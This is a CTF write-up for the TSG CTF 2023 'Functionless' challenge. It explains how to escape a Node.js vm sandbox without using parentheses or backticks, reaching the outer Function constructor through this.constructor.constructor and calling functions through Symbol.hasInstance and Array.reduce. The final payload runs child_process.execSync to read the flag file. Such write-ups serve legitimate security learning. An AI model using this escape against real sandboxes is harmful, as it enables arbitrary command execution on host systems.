# TSG CTF 2023 Functionless Writeup (en)
###### tags: `CTF`
日本語: https://hackmd.io/@n4o847/rygjBp476
## Challenge Overview
- The input code is executed using the [vm](https://nodejs.org/api/vm.html) module in Node.js
- Calls to `eval` and function constructors (such as `Function`) are prohibited
- The input must not contain any of the characters `(`, `)`, or <code>`</code>
## Intended Solution
First, since `this` refers to an object created outside of the context, `this.constructor.constructor` can be used to obtain a `Function` constructor outside of the VM.
The use of this external `Function` constructor is not prohibited by the constraint `codeGeneration: { strings: false }` and allows access to global objects outside of the VM.
```js
this.constructor.constructor("console.log(process)")()
```
Next, a quick search brings up the following code as a function call that uses neither parenteses nor backticks and can also be used in Node.js:
```js
x instanceof { [Symbol.hasInstance]: f }
```
This is equivalent to:
```js
!!f.call({}, x)
// or simply
!!f(x)
```
The challenges are here:
- The function `f` can only take one argument
- The result can only be obtained as a boolean value
We would like to combine this technique with the `Fuction` constructor to successfully execute arbitrary code, but it is difficult because it requires two consecutive calls like `Function(code)()`.
As a method to obtain the result of a function call, consider using `Array.prototype.reduce` in the following way:
```js
a = [x, y, z]
a[Symbol.hasInstance] = Array.prototype.reduce
f instanceof a
```
This is equivalent to:
```js
a = [x, y, z]
!!a.reduce(f)
```
and can be expanded to:
```js
a = [x, y, z]
!!f(f(x, y, 1, a), z, 2, a)
```
Here `f` should be a function that applies one of its arguments to the other.
Trying `f = Array.from`, we get:
```js
a = [x, y, z]
!!Array.from(Array.from(x, y, 1, a), z, 2, a)
```
and if `x` is an array, this is equivalent to:
```js
!!x.map(y, 1).map(z, 2)
```
Furthermore, if `x` is an array with a single element, this is equivalent to:
```js
!!z.call(2, y.call(1, x[0], 0), 1)
// or simply
!!z(y(x[0], 0), 1)
```
If you set `y = Function`, you can get the result of `y(x[0], 0)` passed to `z`, but the second unnecessary parameter `0` is being passed as the function body.
However, you can use a default parameter in the argument part of `Function` to execute any expression you like.
```js
f = Function("x = console.log(42)", "0")
f() // output: 42
```
Thus, the following code gives a function `f` that executes arbitrary code:
```js
a = [["x = <code>"], this.constructor.constructor, _ => f = _]
a[Symbol.hasInstance] = Array.prototype.reduce
Array.from instanceof a
```
and you can call it so that the default parameter is evaluated.
```js
+{ valueOf: f }
```
```js
c = "process.stdout.write\x28process.mainModule.require\x28'child_process'\x29.execSync\x28'cat flag-*.txt'\x29\x29"
a = [["x = " + c], this.constructor.constructor, _ => f = _]
a[Symbol.hasInstance] = Array.prototype.reduce
Array.from instanceof a
+{ valueOf: f }
```
## Other Solutions
- https://gist.github.com/arkark/a31f57c271e4aca4516c5a7072845aca
- https://gist.github.com/lebr0nli/120803dcd6b8c61c4aee7670cb1ad6f3
- https://blog.maple3142.net/2023/11/05/tsg-ctf-2023-writeups/